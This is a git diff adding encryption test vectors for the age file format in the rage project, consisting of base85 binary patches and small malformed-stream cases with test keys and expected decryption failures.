zsI!v#T<$RkIrMgc=qP>&hhwrI`qG_?xQXZs)%oFS4RY97Y;pB>VhxX@Rr*`BtQHsf z*42G2Q=cr=s5a>pZaYf~9AC69iVM#LddK6*qWbkEFW|oJGQieu?O%tQt3?iVnI0Bi z*0E8@$jrU`I~cXoWzz2 z&8>Vt~- zr9jI-1R#Ua98o>(RYkZtohUqWK6vou;|GJb{Ixd&HtveI0hTU?+(h;hC!LE{Jd&WU z4dffjmI}_bC@0WK$N)Erx}t?Bf@9WV;iLeV{9Cr`J>g=-nvE~-g`|hs9FCTxOF@%9p|QRTVHDIq>dK3CZFx_0Eyu{6jTR|Od6ef@!< ziBvvpaXLP>D2RPRCs+X1O$QJQ^2$1V17DGX>aal5OBl1_egRy+VYgs(@sl5$aWj56 zX$pNCy_cmwfB_6}+4W47!T)HV)6GSW^oWoq$-(b_AnSB+0WL6M_xo=x%S_CWpXSJe zEUW$Hvih_FKkltogtWuR`oE6cBi_!q*?z2CJP8;e2PjDF1*h#wB@iLQebw2n8f-(3 z;76+!P*Z*OjovA@fJj8MdYbyaF^MY1=c@;msLi) zOCDj#Xq$}8wa+ueO8j~F!E9xo#;v6WZm07D1RQi}j|)TJVK1o+DAa^UiR$ncVv1F$ zbJ`kukz8$)K0e{#Lj4}(8h;`!U`>8>ODCYpg8PB9XXLk#8>Z8Q!AZ>6$V_vbbR8Esk5o z11ied-X>tufVC<0q2vHcW#8>X)@L8`wQn`cr3Mz*Fs>%SKQSe1Dp#_!e6b7UVjdA1 zu+4LIY(g;G$nG`XwJTr@5Pxmsln)B7DUArGLo*187i-Fg6K$ngAnB5JNn?1U^mFG1 zhxC}RtO&_cW+)1B`ZR zh)f>$I)6@wP^ZOgjPxdwBAw0`jEe!9|}c^x+WQE@_a6ya7&cnw}7CP(7-C+LZi zas^n#nlKnqzX2e=vfge)`E`A(C7YAt;Qjxuy*vWt>untIYDQH&2s-tau`wPQ&tEdu z7VvPbX`cBx%9P7|pCAa>yV3N%x%e!2S8y7f7hCj6&z2p)q5%KsfDZab{>bwBJW#GE z02fW={YDHXAQD2y<2%s0vh5J=aB~?yUFj0@q}?EyJo`ax{Vr^9ejRO@__6PkrC!Pm zZhL>@C0*$HD4~M3sR2y5(SCPddg)jst|ol>qY~51F?S=voA7AhZ3{{Gj3wS-BU4m< z@$!?cLwD^jTk`2Db%kw(5(Qhhc?97uLrQno#NH}z)wb$FGA*5rlg0HMJx9acFXtil z?GsIk*(e-Us<+^2CuOs+8V1fhtRQ+RQ*0DFaPTC8bz>5J{ZoO^;U`TXpEcnQ$8MG$*^PrVC)9)uAiFa#Jo;zw}lJlNh|(Q#+E&=`X0Mm@1{ z!8a&1-Un--W`UAB5k?*=2u3R1ACxXbS=a^0Zga-99+S;!L!i}>7`2&^@=i_R; zjhryt%NAmBkuBi4kEo@$(wNTtph@!eY8e641@BAGA4}yEGt}pj$!ggIU=%=!>ORhi8XN&r|?FoS>smf1HrV|^2`1$>Oi!N*ZiI-zx z`b%lgkIIOm8{wnjOwI!TYSlOa{klMp-6!gO0L^p2B9+JHk+&H`_;8 z87~?xxGCD=SRXyR70Jf;*8r7zZY3llY$&Qt%id$yR)>ue93~gsJM4VHQQ;C%%c%v} zaiBAFVl(&8m3DCm-XWX`h0mGaDs40w!^FEtwMcaUZvIvFV2&?`Pr}&?&`T-s$iR-5 zCT-{R%{>OnNnju~Z5-DPklI!{C&Gsq?Vf$D`zdoXWh1ED5bmvd_%HwQF7eKfSlB=>vwmclXmC=XEU+z~KdymM+`J2fP$5TCkF+pW`jV&96F`9qH uTMogRC#Oa6Kj?Mrn<5BtEl$CS%aP)?*l2{J+#UrpSaQC0v#^dd&rbjWv4wd6 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_missing_tag b/lib/rage/age/tests/testdata/testkit/stream_missing_tag new file mode 100644 index 0000000..87bf215 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_missing_tag @@ -0,0 +1,10 @@ +expect: payload failure +payload: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùL·L[ \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_no_chunks b/lib/rage/age/tests/testdata/testkit/stream_no_chunks new file mode 100644 index 0000000..7d68f8b --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_no_chunks @@ -0,0 +1,10 @@ +expect: payload failure +payload: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùL \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_no_final b/lib/rage/age/tests/testdata/testkit/stream_no_final new file mode 100644 index 0000000..413187e --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_no_final @@ -0,0 +1,11 @@ +expect: payload failure +payload: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùLíS ;àû¬|º9¥¥È +w^Ú \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_no_final_full b/lib/rage/age/tests/testdata/testkit/stream_no_final_full new file mode 100644 index 0000000000000000000000000000000000000000..f61cf077aa9aec927c35a77159e50114abcd2be8 GIT binary patch literal 65963 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 